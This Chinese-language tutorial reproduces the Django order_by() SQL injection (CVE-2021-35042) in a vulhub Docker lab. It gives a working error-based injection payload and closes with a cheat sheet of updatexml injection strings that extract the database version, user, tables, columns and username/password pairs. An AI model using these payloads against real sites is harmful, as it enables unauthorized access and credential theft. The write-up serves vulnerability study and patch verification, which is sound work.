前言
Django是一个开放源代码的Web应用框架,由Python写成。采用了MVC的框架模式,即模型M,视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS(内容管理系统)软件。
Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。
1、用户认证:不需要用户认证
2、触发方式:远程
综合评价
高危,最终造成服务器敏感信息泄露
影响版本
Django 3.2
Django 3.1
安全版本
Django >= 3.2.5
Django >= 3.1.13
漏洞环境搭建
这里我们选择使用vulhub搭建docker进行漏洞复现。
首先安装curl和docker
sudo apt install curl
sudo apt install docker.io
docker -v //查看是否安装成功
然后安装python和pip环境(如果没有),命令如下
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip -V //查看是否安装成功
然后再安装docker-compose
pip install docker-compose
docker-compose -v
到这个地方docker环境就已经搭建好了,这时候需要从github上把vulhub的漏洞环境给clone下来,这里直接clone网不太好,我就直接下载下来了copy到了靶机上
git clone https://github.com/vulhub/vulhub.git
之后进入Django的漏洞环境
这里看到有5个CVE漏洞,我们这次复现CVE-2021-35042漏洞。
漏洞复现
进入CVE-2021-35042路径,输入命令:
docker-compose build
docker-compose up -d
环境启动后,访问http://your-ip:8000
即可看到Django默认首页。
首先,转到列表视图http://your-ip:8000/vuln/
添加order=-id到 GET 参数。
看到按 id 降序排列的数据。
因此根据这个信息我们可以构造报错注入来进行攻击获取数据信息。
添加order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23
到 GET 参数,其中vuln是我们的应用程序和collection模型。
可以看到根目录信息。
数据库MySQL版本:
数据库名:
当前用户:
数据库表:
剩下爆破步骤就不一一赘述了。
提一嘴
updatexml报错注入原理:
`concat()`函数是将其连成一个字符串,因此不会符合`XPath_string`的格式,因此会造成格式错误
`0x7e` ASCII码,实为`~`,updatexml报错为特殊字符、字母及之后的内容,为了防止前面的字母丢失,开头连接一个特殊字符
附上updatexml报错注入爆破常用语句:
注: information_schema
数据库为MySQL系统数据库
爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
爆表名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#